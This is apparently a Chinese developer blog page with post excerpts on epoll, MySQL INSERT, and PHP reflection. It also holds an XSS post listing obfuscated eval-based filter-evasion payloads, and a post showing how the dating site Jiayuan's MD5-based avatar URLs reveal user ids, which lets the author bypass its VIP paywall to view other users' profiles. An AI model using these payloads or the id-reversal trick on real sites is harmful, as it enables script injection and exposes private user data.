php已经满足不了大并发的查询了,于是准备采用c server 的方式,查下资料 http://xwz.me/blog/2011/10/21/how-to-use-epoll/ 看到一个讲epoll的教程感觉不错就翻译了一下以便自己以后查阅,原文链接:https://banu.com/blog/2/how-to-use-epoll-a-complete-example-in-c/ 传统的网络服务器是通过对每一个连接分配一个单独的进程或者线程来实现的。对于更高效的服务器可能要同时处理大量的客户端请求,那么这种原始的方法可能工作起来就有点力不从心了,因为在同一时间内资源的请求和环境的切换大大影响了多用户响应的处理效率。一种通过在单线程中使用非阻塞 I/O和准备就绪通知的轮询方法可以在套接字上读写更多内容。 本文主要是介绍了linux下的epoll(7) 功能, 现在linux下最好的就绪通知方法。我们将会给出一个完整TCP服务器的C实现代码。当然我假设你有C语言的编程经验,并且懂得如是在linux下编译和运行程序,并且能够读懂各种C函数的帮助文档。 epoll在linux2.6以后的版本中才被发明,并且在其它类UNIX系统没有实现,它提供了类似于select(2) 和 poll(2) 函数的功能: select(2) 可以在同一时间管理 FD_SETSIZE 数量的文件描述符,通常这个较小的数量是在libc编译时就已经定好的。 poll(2) 无法解决同一时间管理的文件描述符数量限制,除此之外,我们还不得不遍历所有管理的文件描述符来确定哪些是准备就绪的,这个时间复杂度将会是 O(n) 并且非常缓慢的。 epoll则不受数量的限制,并且也无需进行遍历。因此它可以更加高效的在同一时间处理大量时间请求。 一个epoll实例由epoll_create(2) 或者 epoll_create1(2) 函数创立(它们的传入参数不同),返回值即为一个epoll实例。epoll_ctl(2) 被用来在epoll实例中添加或删除监控的文件描述符。epoll_wait(2) 被用来等待监控集合中的事件到来,它会一直阻塞直到事件的到来。可以查看帮助文档来获得更多信息。 当描述符被添加到epoll监控集合的时候可以有两种模式:条件触发(level triggered)和边缘触发(edge triggered)。当你使用条件触发模式时,数据准备就绪, epoll_wait(2) 将会返回就绪的事件集合。如果你没有完全读完数据,并且调用 epoll_wait(2) 在epoll实例上再次监控这个文件描述符,它将再次返回该描述符,因为它的数据是已经准备就绪的了。在边缘触发模式,你只能获得准备就绪的设备一次。如果你没有完全读取完成这个设备的数据,并且再次调用 epoll_wait(2) 来监控该设备,那么它只会阻塞在那,因为该就绪时间已经交付完成。 传递给 epoll_ctl(2) 函数的epoll时间结构体如下所示。从被监控的描述符可以看出,你可以关联一个整形数据或者是一个void指针来作为用户数据。 typedef union epoll_data { void *ptr; …
memcached的一点注意
xss 攻击新途径
一般来说,网站都只对用户的的输入进行过滤,经常会忽视一些表单的提交,比如 一些选择文字的字段,如:婚姻状况:value=(保密|已婚|未婚) 用户可以在这些字端上做手脚,比如 <script>你懂的</script> 找了一些测试语句 还有一个超级用法 <script>z=’ale’</script> <script>z+=’rt’</script> <script>z+=’()’</script> <script>eval(z)</script> <script>/* */a=””+/* */”doc”+/* */”ume”+/* */”nt.”+/* */”wri”+/* */”te(“+/* */’”<s’+/* */”cri”+/* */”pt “+/* */”src”+/* */”=1.”+/* */”js>”+/* */”</s”+/* */”cri”+/* */”pt>”+/* */’”)’;/* */eval(a)/*(11) */</script>(11) 解决方案就是对用户绝对不可信,每个post都要严格过滤
mysql insert的几个功能(DELAYED 、IGNORE、ON DUPLICATE KEY UPDATE )
之前在写程序的时候碰到过这样的情景模式,一个表里面存着的是一个统计信息,数据不是提前生成的,所以在更新统计数量的时候,需要先进行查询,然后进行insert 或者 update操作,也就是说每一次操作至少得连接两次mysql数据库,今天宋哥给我一个语句‘INSERT INTO aaa (uid,place,num) VALUES (300,110000,1) ON DUPLICATE KEY UPDATE num=num+1;’,顺便找下相关的知识点,记录下来 转自:http://www.phpweblog.net/kiyone/archive/2008/08/22/5644.html INSERT语法 INSERT [LOW_PRIORITY | DELAYED | HIGH_PRIORITY] [IGNORE] [INTO] tbl_name [(col_name,...)] VALUES ({expr | DEFAULT},…),(…),… [ ON DUPLICATE KEY UPDATE col_name=expr, ... ] 或: INSERT [LOW_PRIORITY …
php ReflectionClass 反射类学习
因为某种原因,刚刚跳到一家新的公司,接触新的项目,新的代码风格,突然间觉得自己以前坐井观天了,就比如本文介绍的一个反射类,这个东西的应用属于高级范畴了,原理如图片 php反射(http://hi.baidu.com/yiqing95) * 反射是操纵面向对象范型中元模型的API,其功能十分强大,可帮助我们构建复杂,可扩展的应用。其用途如:自动加载插件,自动生成文档,甚至可用来扩充PHP语言。php反射api由若干类组成,可帮助我们用来访问程序的元数据或者同相关的注释交互。借助反射我们可以获取诸如类实现了那些方法,创建一个类的实例(不同于用new创建),调用一个方法(也不同于常规调用),传递参数,动态调用类的静态方法。 * ** 反射api是php内建的oop技术扩展,包括一些类,异常和接口,综合使用他们可用来帮助我们分析其它类,接口,方法,属性,方法和扩展。这些oop扩展被称为反射,位于php源码/ext/reflection目录下。 可以使用反射api自省反射api本身(这可能就是反射最初的意思,自己“看”自己): <?php Reflection::export(new ReflectionExtension(‘reflection’)); ?> 几乎所有的反射api都实现了reflector接口,所有实现该接口的类都有一个export方法,该方法打印出参数对象的相关信息。 使用get_declared_classes()获取所有php内置类,get_declared_interfaces(); get_defined_functions(); get_defined_vars(); get_defined_constants();可获取php接口,方法,变量,常量信息。 ** *** 反射初探: <?php //定义一个自定义类 class MyTestClass{ public function testFunc($para0=’defaultValue0′){ } } //接下来反射它 foreach(get_declared_classes() as $class){ //实例化一个反射类 $reflectionClass = new ReflectionClass($class); //如果该类是自定义类 if($reflectionClass->isUserDefined()){ …
世纪佳缘的一个vip功能研究(原创)
本文仅做研究使用,如有侵权,请联系taylortai 在北京很无聊啊,这个周末扁桃体发炎,找工作有一个征婚网站,自己还是单身啊,就到世纪家园的网站研究下,看看最近哪些妹子看过我,看过我的妹子有好看的啊,但是不能点击啊,然后就开始研究如何进入妹的主页,去看妹子的信息。 我们先看妹子照片的连接 <a onmousedown=”if(typeof(send_jy_pv2)==’function’){send_jy_pv2(‘Usercpn_skgwdj’);}” target=”_blank” href=”http://www.jiayuan.com/vipcenter/?src_key=myjy_lookedme&from=vipcenter-1″><img width=”74px” height=”90px” src=”http://photos7.jiayuan.com/a8/ed/a72f543c8127e155728a0330609f/avatar_p.jpg”></a> http://photos7.jiayuan.com/a8/ed/a72f543c8127e155728a0330609f/avatar_p.jpg 我们要的就是这个,你从 <a></a>里面是看不到任何妹子的信息的。 通过图片可以得知,家园的网站的用户的图片是放在不同的服务器的上的,通过二级域名来负载均衡了 一般来说图片跟用户的信息都是有关联的,注意看后边的连接,查一下个数 a72f543c8127e155728a0330609f 这个是28位,你第一个想到什么,md5,对了,有30位的的md5加密数据,但是我估计不会用,反解这个东西太累,而且只有28位该补什么好呢?注意看到a72f543c8127e155728a0330609f前面还有a8/ed这两个字母,凑起来是32位,这才是标准的md5么。 但是顺序组合起来,放到md5反解网站上,明显不对,好,我自己也注册了一个世纪佳缘,把我自己的id md5 了一下,乐了,原来世纪家园的程序员懒了,将id md5后,用以下的格式来放照片了 前两位/后两位/中间的字母/avatar_p.jpg 找到规律了,我们就用http://profile.jiayuan.com/反解出来的Id来进入妹子空间。 等等,怎么是一个爷们?拿到找的规律不对?不对,到首页随便点了两个妹子的主页,拿到数据跟头像对比,用excel算了一下,原来如此。 ori MD5 45894109 44894109 1000000 69850195 68850195 1000000 69647082 68647082 1000000 原始的uid 在MD5前都被减了100W 是这样啊,taylortai猜想,世纪佳缘应该是之前的图片命名有问题,或者排序是从100W开始的,所以要减去100W,这个数据 好了,我们给反解出来的uid加上1000000 ,然后通过 http://profile.jiayuan.com/反解出来的UId即可 …
近期评论